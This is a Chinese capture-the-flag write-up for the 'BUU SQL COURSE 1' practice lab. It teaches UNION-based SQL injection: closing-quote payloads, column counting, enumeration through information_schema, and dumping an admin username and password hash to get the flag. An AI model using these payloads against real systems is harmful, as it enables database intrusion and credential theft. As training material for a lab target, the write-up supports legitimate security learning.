SQL注入靶机练习:BUU SQL COURSE 1
- 一、SQL注入知识点
- 二、前置知识
- 三、SQL注入测试的一般步骤
- 四、解题过程
一、SQL注入知识点
可参考SQL注入详解
二、前置知识
参考来源:渗透攻防Web篇-深入浅出SQL注入
mysql5.0以上版本中存在一个重要的系统数据库information_schema,通过此数据库可访问mysql中存在的数据库名、表名、字段名等元数据。
information_schema中有三个表成为了sql注入构造的关键:
1、infromation_schema.columns
table_schema 数据库名
table_name 表名
column_name 列名
2、information_schema.tables
table_schema 数据库名
table_name 表名
3、information_schema.schemata
schema_name 数据库名
三、SQL注入测试的一般步骤
1、 找到注入点
单引号、两个单引号、and 1=1、and 1=2、or 1=1等尝试,找到对查询结果有影响的参数
2、闭合语句
or 1=1 --+
’ or 1=1 --+
" or 1=1 --+
) or 1=1 --+
‘) or 1=1 --+
‘)) or 1=1 --+
") or 1=1 --+
")) or 1=1 --+
--+用于注释sql语句中的后引号,–后的+号主要作用是提供一个空格,sql语句单行注释后需有空格,+会被解码为空格
3、带入语句进行爆破
1)order by 确认几个字段
2)联合查询确定回显位置
union select 1,2
3)爆数据库版本、数据库名称、用户名称等
union select @@version,database(),user()
4)爆所有数据库
union select group_concat(schema_name) from information_schema.schemata
5)爆所有表
union select group_concat(table_name) from information_schema.tables where table_schema =’<数据库名>’
6)爆对应表的所有字段
union select group_concat(column_name) from information_schema.columns where table_name=‘<表名>’
7)爆表中数据
union select group_concat(<字段1>,’ ',<字段2>) from <表名>
四、解题过程
1、寻找存在SQL注入的页面
发现热点中存在测试新闻1-3,依次点击发现URL中分别对应1,2,3,存在SQL注入的可能
按F12进入开发者模式可以看到对应请求的URL中存在明显的SQL查询字段:
双击左侧标记区域可以进入到对应带有id=3的页面:
2、确定注入点
使用and 1=1、and 1=2语句进行测试:
可以看到两次显示结果存在不同,当and 1=2恒为假时页面无内容显示,存在SQL注入的漏洞
3、判断字段数
分别使用的payload如下:
id=1 order by 1
id=1 order by 2
id=1 order by 3
当order by 超过2时会报错,所以此表共2个字段
4、确定回显位置:
主要用于定位后端sql字段在前端显示的位置,采用联合查询的方式确定。
id=0 union select 111,222
5、爆数据库版本、数据库名称
id=0 union select @@version,database()
6、爆所有库
id=0 union select 111,group_concat(schema_name) from information_schema.schemata
可以得到存在的数据库有:information_schema,ctftraining,mysql,performance_schema,test,news
7、爆所有表
id=0 union select 111,group_concat(table_name) from information_schema.tables
爆指定数据库中所有表
id=0 union select 111,group_concat(table_name) from information_schema.tables where table_schema=‘ctftraining’
依次对各数据库进行爆表可得到以下数据:
数据库名 | 表名 |
---|---|
ctftraining | FLAG_TABLE,news,users |
mysql | column_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,transaction_registry,user |
test | null |
news | admin,contents |
从表名推断可能存在用户信息的表有users、user、admin
8、爆表中所有字段
id=0 union select 111,group_concat(column_name) from information_schema.columns where table_name=‘users’
依次对各表进行爆字段可得到以下数据:
表名 | 字段名 |
---|---|
users | id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS |
user | Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,Delete_history_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time |
admin | id,username,password |
contents | id,title,content |
可能存在用户信息的有表users中的username和password字段、表user中的User和Password字段、表admin中的username、password字段
9、爆表中数据:
id=0 union select 111,group_concat(username,’ ‘,password) from users
id=0 union select 111,group_concat(username,’ ',password) from admin
依次对各字段进行爆数据可得到以下结果:
表名 | 字段名 | 值 |
---|---|---|
users | username,password | 空 |
user | User,Password | 空 |
admin | username,password | admin 21fdef4018965d7721b228b1081a64ad |
10、登录界面
admin的密码是32位,推测是使用了MD5加密,使用在线解密软件解密失败
直接使用该密文登录系统后得到Flag: